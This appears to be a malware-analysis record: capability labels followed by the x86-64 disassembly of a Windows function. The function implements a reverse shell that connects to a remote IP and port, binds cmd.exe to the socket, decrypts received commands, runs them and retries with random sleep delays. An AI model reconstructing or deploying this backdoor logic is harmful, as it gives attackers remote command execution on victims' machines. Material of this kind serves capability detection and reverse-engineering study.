Function at 0x140001609
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push rbp
push rdi
sub rsp, 0x6a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x640], rcx
mov dword [rbp + 0x648], edx
lea rax, [rbp + 0x470]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
call sym.isNetworkAvailable__
xor eax, 1
test al, al
je 0x140001660
call sym.getRandomDelay__
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140001917
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x618], rax
cmp qword [rbp + 0x618], 0xffffffffffffffff
jne 0x1400016b5
call sym.getRandomDelay__
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140001917
mov word [rbp + 0x460], 2
mov rax, qword [rbp + 0x640]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x464], eax
mov eax, dword [rbp + 0x648]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x462], ax
lea rdx, [rbp + 0x460]
mov rax, qword [rbp + 0x618]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x140001765
mov rax, qword [rbp + 0x618]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
call sym.getRandomDelay__
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140001917
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x30], 0x68
mov dword [rbp + 0xc], 0x101
mov rax, qword [rbp + 0x618]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x20], rax
mov word [rbp + 0x10], 0
lea rax, [rbp + 0x40]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, str.cmd.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
setne al
test al, al
je 0x14000183e
mov rax, qword [rbp + 0x40]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x60]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sym.memset
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x618]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x614], eax
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.encryptDecrypt_char_
cmp dword [rbp + 0x614], 0
jle 0x1400018df
lea rax, [rbp + 0x60]
lea rdx, [0x140004008]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x1400018c1
lea rax, [rbp + 0x60]
lea rdx, str.exit
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400018df
mov rax, qword [rbp + 0x618]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x14000191c
cmp dword [rbp + 0x614], 0
jle 0x1400018f4
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.executeCommand_char_const_
mov rax, qword [rbp + 0x618]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
call sym.getRandomDelay__
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x14000163f
add rsp, 0x6a8
pop rdi
pop rbp
ret